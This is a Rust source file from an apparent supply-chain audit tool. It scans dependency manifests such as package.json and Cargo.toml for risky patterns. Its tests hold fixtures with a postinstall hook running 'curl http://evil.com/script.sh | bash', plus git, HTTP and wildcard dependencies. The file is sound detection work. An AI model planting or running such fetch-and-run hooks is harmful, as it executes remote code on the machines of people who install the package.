cc_audit/engine/scanners/
dependency.rs1use crate::engine::scanner::{Scanner, ScannerConfig};
2use crate::error::Result;
3use crate::rules::Finding;
4use rayon::prelude::*;
5use std::path::{Path, PathBuf};
6use walkdir::WalkDir;
7
8const DEPENDENCY_FILES: &[&str] = &[
9 "package.json",
10 "package-lock.json",
11 "Cargo.toml",
12 "Cargo.lock",
13 "requirements.txt",
14 "pyproject.toml",
15 "poetry.lock",
16 "Pipfile",
17 "Pipfile.lock",
18 "Gemfile",
19 "Gemfile.lock",
20 "go.mod",
21 "go.sum",
22 "pom.xml",
23 "build.gradle",
24 "composer.json",
25 "composer.lock",
26];
27
28pub struct DependencyScanner {
29 config: ScannerConfig,
30}
31
32impl_scanner_builder!(DependencyScanner);
33impl_content_scanner!(DependencyScanner);
34
35impl DependencyScanner {
36 fn is_dependency_file(path: &Path) -> bool {
37 path.file_name()
38 .and_then(|name| name.to_str())
39 .map(|name| DEPENDENCY_FILES.contains(&name))
40 .unwrap_or(false)
41 }
42}
43
44impl Scanner for DependencyScanner {
45 fn scan_file(&self, path: &Path) -> Result<Vec<Finding>> {
46 let content = self.config.read_file(path)?;
47 let path_str = path.display().to_string();
48 Ok(self.config.check_content(&content, &path_str))
49 }
50
51 fn scan_directory(&self, dir: &Path) -> Result<Vec<Finding>> {
52 let files: Vec<PathBuf> = WalkDir::new(dir)
54 .into_iter()
55 .filter_map(|e| e.ok())
56 .filter(|e| e.path().is_file())
57 .map(|e| e.path().to_path_buf())
58 .filter(|path| Self::is_dependency_file(path))
59 .collect();
60
61 let findings: Vec<Finding> = files
63 .par_iter()
64 .flat_map(|path| {
65 let result = self.scan_file(path);
66 self.config.report_progress(); result.unwrap_or_else(|e| {
68 tracing::debug!(path = %path.display(), error = %e, "Failed to scan file");
69 vec![]
70 })
71 })
72 .collect();
73
74 Ok(findings)
75 }
76}
77
78#[cfg(test)]
79mod tests {
80 use super::*;
81 use crate::engine::scanner::ContentScanner;
82 use std::fs;
83 use tempfile::TempDir;
84
85 fn create_file(dir: &TempDir, name: &str, content: &str) -> std::path::PathBuf {
86 let path = dir.path().join(name);
87 fs::write(&path, content).unwrap();
88 path
89 }
90
91 #[test]
92 fn test_scan_clean_package_json() {
93 let dir = TempDir::new().unwrap();
94 create_file(
95 &dir,
96 "package.json",
97 r#"{
98 "name": "clean-package",
99 "version": "1.0.0",
100 "dependencies": {
101 "express": "^4.18.0"
102 }
103 }"#,
104 );
105
106 let scanner = DependencyScanner::new();
107 let findings = scanner.scan_path(dir.path()).unwrap();
108
109 assert!(
110 findings.is_empty(),
111 "Clean package.json should have no findings"
112 );
113 }
114
115 #[test]
116 fn test_detect_dangerous_postinstall() {
117 let dir = TempDir::new().unwrap();
118 create_file(
119 &dir,
120 "package.json",
121 r#"{
122 "name": "malicious-package",
123 "scripts": {
124 "postinstall": "curl http://evil.com/script.sh | bash"
125 }
126 }"#,
127 );
128
129 let scanner = DependencyScanner::new();
130 let findings = scanner.scan_path(dir.path()).unwrap();
131
132 assert!(
133 findings
134 .iter()
135 .any(|f| f.id == "DEP-001" || f.id == "SC-001"),
136 "Should detect dangerous postinstall script"
137 );
138 }
139
140 #[test]
141 fn test_detect_git_dependency() {
142 let dir = TempDir::new().unwrap();
143 create_file(
144 &dir,
145 "package.json",
146 r#"{
147 "name": "package-with-git-dep",
148 "dependencies": {
149 "my-lib": "git://github.com/user/repo"
150 }
151 }"#,
152 );
153
154 let scanner = DependencyScanner::new();
155 let findings = scanner.scan_path(dir.path()).unwrap();
156
157 assert!(
158 findings.iter().any(|f| f.id == "DEP-002"),
159 "Should detect git:// dependency"
160 );
161 }
162
163 #[test]
164 fn test_detect_wildcard_version() {
165 let dir = TempDir::new().unwrap();
166 create_file(
167 &dir,
168 "package.json",
169 r#"{
170 "name": "package-with-wildcard",
171 "dependencies": {
172 "dangerous-lib": "*"
173 }
174 }"#,
175 );
176
177 let scanner = DependencyScanner::new();
178 let findings = scanner.scan_path(dir.path()).unwrap();
179
180 assert!(
181 findings.iter().any(|f| f.id == "DEP-003"),
182 "Should detect wildcard version"
183 );
184 }
185
186 #[test]
187 fn test_detect_http_dependency() {
188 let dir = TempDir::new().unwrap();
189 create_file(
190 &dir,
191 "package.json",
192 r#"{
193 "name": "package-with-http",
194 "dependencies": {
195 "insecure-lib": "http://example.com/package.tar.gz"
196 }
197 }"#,
198 );
199
200 let scanner = DependencyScanner::new();
201 let findings = scanner.scan_path(dir.path()).unwrap();
202
203 assert!(
204 findings
205 .iter()
206 .any(|f| f.id == "DEP-004" || f.id == "DEP-005"),
207 "Should detect HTTP/tarball dependency"
208 );
209 }
210
211 #[test]
212 fn test_scan_cargo_toml() {
213 let dir = TempDir::new().unwrap();
214 create_file(
215 &dir,
216 "Cargo.toml",
217 r#"
218[package]
219name = "risky-crate"
220version = "0.1.0"
221
222[dependencies]
223some-lib = { git = "https://github.com/user/repo" }
224"#,
225 );
226
227 let scanner = DependencyScanner::new();
228 let findings = scanner.scan_path(dir.path()).unwrap();
229
230 assert!(
231 findings.iter().any(|f| f.id == "DEP-002"),
232 "Should detect git dependency in Cargo.toml"
233 );
234 }
235
236 #[test]
237 fn test_scan_requirements_txt() {
238 let dir = TempDir::new().unwrap();
239 create_file(
240 &dir,
241 "requirements.txt",
242 "git+https://github.com/user/repo.git\nrequests==2.28.0\n",
243 );
244
245 let scanner = DependencyScanner::new();
246 let findings = scanner.scan_path(dir.path()).unwrap();
247
248 assert!(
249 findings.iter().any(|f| f.id == "DEP-002"),
250 "Should detect git+ dependency in requirements.txt"
251 );
252 }
253
254 #[test]
255 fn test_ignore_non_dependency_files() {
256 let dir = TempDir::new().unwrap();
257 create_file(&dir, "README.md", "curl http://evil.com | bash");
258 create_file(&dir, "config.json", r#"{"url": "http://evil.com"}"#);
259
260 let scanner = DependencyScanner::new();
261 let findings = scanner.scan_path(dir.path()).unwrap();
262
263 assert!(findings.is_empty(), "Should not scan non-dependency files");
264 }
265
266 #[test]
267 fn test_scan_nested_dependency_files() {
268 let dir = TempDir::new().unwrap();
269 let sub_dir = dir.path().join("subproject");
270 fs::create_dir(&sub_dir).unwrap();
271 fs::write(
272 sub_dir.join("package.json"),
273 r#"{"dependencies": {"evil": "*"}}"#,
274 )
275 .unwrap();
276
277 let scanner = DependencyScanner::new();
278 let findings = scanner.scan_path(dir.path()).unwrap();
279
280 assert!(
281 findings.iter().any(|f| f.id == "DEP-003"),
282 "Should scan nested dependency files"
283 );
284 }
285
286 #[test]
287 fn test_scan_single_file() {
288 let dir = TempDir::new().unwrap();
289 let file_path = create_file(
290 &dir,
291 "package.json",
292 r#"{"dependencies": {"lib": "latest"}}"#,
293 );
294
295 let scanner = DependencyScanner::new();
296 let findings = scanner.scan_file(&file_path).unwrap();
297
298 assert!(
299 findings.iter().any(|f| f.id == "DEP-003"),
300 "Should detect 'latest' version"
301 );
302 }
303
304 #[test]
305 fn test_is_dependency_file() {
306 assert!(DependencyScanner::is_dependency_file(Path::new(
307 "package.json"
308 )));
309 assert!(DependencyScanner::is_dependency_file(Path::new(
310 "Cargo.toml"
311 )));
312 assert!(DependencyScanner::is_dependency_file(Path::new(
313 "requirements.txt"
314 )));
315 assert!(DependencyScanner::is_dependency_file(Path::new(
316 "pyproject.toml"
317 )));
318 assert!(DependencyScanner::is_dependency_file(Path::new("Gemfile")));
319 assert!(DependencyScanner::is_dependency_file(Path::new("go.mod")));
320 assert!(DependencyScanner::is_dependency_file(Path::new("pom.xml")));
321 assert!(DependencyScanner::is_dependency_file(Path::new(
322 "composer.json"
323 )));
324
325 assert!(!DependencyScanner::is_dependency_file(Path::new(
326 "README.md"
327 )));
328 assert!(!DependencyScanner::is_dependency_file(Path::new(
329 "config.json"
330 )));
331 assert!(!DependencyScanner::is_dependency_file(Path::new("main.rs")));
332 }
333
334 #[test]
335 fn test_default_trait() {
336 let scanner = DependencyScanner::default();
337 let dir = TempDir::new().unwrap();
338 let findings = scanner.scan_path(dir.path()).unwrap();
339 assert!(findings.is_empty());
340 }
341
342 #[test]
343 fn test_scan_content_directly() {
344 let scanner = DependencyScanner::new();
345 let content = r#"{"scripts": {"postinstall": "curl http://evil.com | bash"}}"#;
346 let findings = scanner.scan_content(content, "package.json").unwrap();
347 assert!(!findings.is_empty());
348 }
349
350 #[test]
351 fn test_scan_nonexistent_path() {
352 let scanner = DependencyScanner::new();
353 let result = scanner.scan_path(Path::new("/nonexistent/path"));
354 assert!(result.is_err());
355 }
356
357 #[test]
358 fn test_with_skip_comments() {
359 let scanner = DependencyScanner::new().with_skip_comments(true);
360 let dir = TempDir::new().unwrap();
361 create_file(
362 &dir,
363 "requirements.txt",
364 "# git+https://github.com/user/repo\nrequests==2.28.0",
365 );
366
367 let findings = scanner.scan_path(dir.path()).unwrap();
368 assert!(
370 !findings.iter().any(|f| f.id == "DEP-002"),
371 "Should skip commented lines when skip_comments is true"
372 );
373 }
374
375 #[test]
376 fn test_multiple_dependency_files() {
377 let dir = TempDir::new().unwrap();
378 create_file(&dir, "package.json", r#"{"dependencies": {"a": "*"}}"#);
379 create_file(
380 &dir,
381 "Cargo.toml",
382 r#"[dependencies]\nb = { version = "*" }"#,
383 );
384
385 let scanner = DependencyScanner::new();
386 let findings = scanner.scan_path(dir.path()).unwrap();
387
388 assert!(findings.len() >= 2, "Should find issues in both files");
389 }
390}